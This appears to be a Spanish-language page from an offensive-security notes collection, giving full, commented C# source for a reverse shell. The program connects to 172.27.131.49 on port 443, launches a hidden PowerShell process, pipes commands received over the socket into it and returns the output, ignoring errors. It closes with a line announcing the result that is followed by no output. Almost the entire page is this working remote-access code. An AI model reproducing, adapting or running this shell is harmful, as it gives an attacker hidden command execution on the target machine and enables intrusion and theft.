C#
El siguiente código es un ejemplo de un reverse shell en C#, donde un cliente TCP se conecta a una dirección IP específica y a un puerto determinado (en este caso, 172.27.131.49
en el puerto 443
). Una vez que se establece la conexión, el proceso de PowerShell es iniciado en el sistema objetivo, y cualquier comando recibido a través de la conexión de red es enviado a la entrada de PowerShell, mientras que la salida de PowerShell se envía de vuelta a la conexión.
using System;
using System.Text; // Importa el espacio de nombres para usar StringBuilder.
using System.IO; // Importa el espacio de nombres para trabajar con Streams.
using System.Diagnostics; // Importa el espacio de nombres para iniciar procesos como PowerShell.
using System.ComponentModel; // Importa el espacio para manejar eventos.
using System.Linq; // Espacio para trabajar con LINQ, no se usa en este código pero puede ser útil.
using System.Net; // Importa el espacio para trabajar con redes.
using System.Net.Sockets; // Importa el espacio para trabajar con conexiones TCP.
namespace ConnectBack
{
public class Program
{
// Definimos un StreamWriter que se usará para enviar la salida de PowerShell al servidor remoto.
static StreamWriter streamWriter;
// Método principal del programa, que establece la conexión y maneja la ejecución del reverse shell.
public static void Main(string[] args)
{
// Establece una conexión TCP con la dirección IP y el puerto especificado (servidor atacante).
using (TcpClient client = new TcpClient("172.27.131.49", 443))
{
// Obtiene el flujo de la red para leer y escribir datos.
using (Stream stream = client.GetStream())
{
// Crea un StreamReader para leer datos del servidor remoto y un StreamWriter para escribir datos al servidor.
using (StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream); // Inicializa el StreamWriter para escribir en el flujo.
StringBuilder strInput = new StringBuilder(); // Usamos StringBuilder para construir la entrada.
// Inicia un proceso de PowerShell en el sistema objetivo.
Process p = new Process();
p.StartInfo.FileName = "powershell"; // Especifica que el proceso a iniciar será PowerShell.
p.StartInfo.CreateNoWindow = true; // No crea una ventana de PowerShell.
p.StartInfo.UseShellExecute = false; // No usa el shell del sistema para ejecutar el comando.
p.StartInfo.RedirectStandardOutput = true; // Redirige la salida estándar (lo que imprime PowerShell).
p.StartInfo.RedirectStandardInput = true; // Redirige la entrada estándar (lo que PowerShell lee).
p.StartInfo.RedirectStandardError = true; // Redirige los errores estándar (errores de PowerShell).
// Configura el manejador de salida de PowerShell.
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start(); // Inicia el proceso de PowerShell.
p.BeginOutputReadLine(); // Comienza a leer la salida estándar en segundo plano.
// Bucle infinito que lee comandos del servidor y los pasa a PowerShell.
while (true)
{
// Lee una línea de comando desde el servidor.
strInput.Append(rdr.ReadLine());
// Escribe el comando leído en la entrada estándar de PowerShell.
p.StandardInput.WriteLine(strInput);
// Limpia el StringBuilder para leer el siguiente comando.
strInput.Remove(0, strInput.Length);
}
}
}
}
}
// Método que maneja la salida de PowerShell y la envía al servidor remoto.
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder(); // Usamos StringBuilder para construir la salida de PowerShell.
// Si la salida no está vacía, la procesamos y la enviamos al servidor.
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data); // Agrega la salida de PowerShell al StringBuilder.
streamWriter.WriteLine(strOutput); // Escribe la salida en el flujo (la envía al servidor).
streamWriter.Flush(); // Asegura que los datos se envíen inmediatamente.
}
catch (Exception err) { } // Captura cualquier error, pero no hace nada con él.
}
}
}
}
El resultado de lo anterior es:
Last updated